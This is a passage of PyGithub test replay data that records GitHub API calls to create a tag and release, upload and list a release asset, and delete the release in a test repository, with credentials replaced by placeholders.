('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8916:7459:1F4A7C:60C523:5F0DE814')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:01 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4755'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"b0d77af942257425a825f7c8131e50de"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/8e0d74eb38ad15f13a872d1e5f00e712d5f48afe'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '891E:6F6D:F2828B:1A3F861:5F0DE814')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2OjhlMGQ3NGViMzhhZDE1ZjEzYTg3MmQxZTVmMDBlNzEyZDVmNDhhZmU=","sha":"8e0d74eb38ad15f13a872d1e5f00e712d5f48afe","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/8e0d74eb38ad15f13a872d1e5f00e712d5f48afe","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T17:15:00Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "draft": false, "prerelease": false, "generate_release_notes": false, "name": "release title", "body": "release message", "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "make_latest": "true"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:01 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4754'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a8961143f47acb4521819919a4413ffb"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553926'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8928:6F6B:5D99BC:D631D5:5F0DE815')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553926","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553926/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553926/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553926,"node_id":"MDc6UmVsZWFzZTI4NTUzOTI2","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:15:01Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https POST uploads.github.com None /repos/rickrickston123/RepoTest/releases/28553926/assets?label=another+unit+test+artifact&name=file_like {'Content-Type': 'text/plain', 'Content-Length': '96', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} 201 [('Cache-Control', 'no-cache'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Type', 'application/json; charset=utf-8'), ('Etag', 'W/"364a5de16b82b8d14a048d3b5ee98372"'), ('Last-Modified', 'Tue, 14 Jul 2020 17:15:02 GMT'), ('Strict-Transport-Security', 'max-age=31557600'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('X-Content-Type-Options', 'nosniff'), ('X-Frame-Options', 'deny'), ('X-Github-Media-Type', 'github.v3; format=json'), ('X-Xss-Protection', '1; mode=block'), ('Date', 'Tue, 14 Jul 2020 17:15:02 GMT'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', 'AF02:1D27:89483E:A0E46C:5F0DE815')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22874905","id":22874905,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODc0OTA1","name":"file_like","label":"another unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"text/plain","state":"uploaded","size":96,"download_count":0,"created_at":"2020-07-14T17:15:02Z","updated_at":"2020-07-14T17:15:02Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/file_like"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28553926/assets {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4751'), ('X-RateLimit-Reset', '1594749125'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0bd36877559690743afd37ce404e0621"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8944:3C00:9EDA72:1796A9F:5F0DE816')] [{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22874905","id":22874905,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODc0OTA1","name":"file_like","label":"another unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"text/plain","state":"uploaded","size":96,"download_count":0,"created_at":"2020-07-14T17:15:02Z","updated_at":"2020-07-14T17:15:02Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/file_like"}] https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28553926 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4750'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c1eae0dd7c4582a4526a42eaee7506a8"'), ('Last-Modified', 'Tue, 14 Jul 2020 17:15:01 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '894C:397D:E22E3:2992FF:5F0DE817')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553926","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553926/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553926/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553926,"node_id":"MDc6UmVsZWFzZTI4NTUzOTI2","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:15:01Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22874905","id":22874905,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODc0OTA1","name":"file_like","label":"another unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"text/plain","state":"uploaded","size":96,"download_count":0,"created_at":"2020-07-14T17:15:02Z","updated_at":"2020-07-14T17:15:02Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/file_like"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28553926 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:03 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4749'), ('X-RateLimit-Reset', '1594749125'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '8954:6B7F:1335507:1F1E019:5F0DE817')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRelease.testUploadAssetFromMemory.txt0000644000175100001660000005341414756101563026112 0ustar00runnerdockerhttps GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:05 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4745'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '897A:34AF:1149BF2:1D5E68C:5F0DE819')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:06 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4744'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"cec410f69b91b6770c84fb663008163a"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/bd63e17c2b348e69b6d9100bc4495543b52487f1'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8984:7805:124CD25:1EACF98:5F0DE819')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2OmJkNjNlMTdjMmIzNDhlNjliNmQ5MTAwYmM0NDk1NTQzYjUyNDg3ZjE=","sha":"bd63e17c2b348e69b6d9100bc4495543b52487f1","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/bd63e17c2b348e69b6d9100bc4495543b52487f1","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T17:15:05Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "draft": false, "prerelease": false, "generate_release_notes": false, "name": "release title", "body": "release message", "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "make_latest": "true"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:06 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4743'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 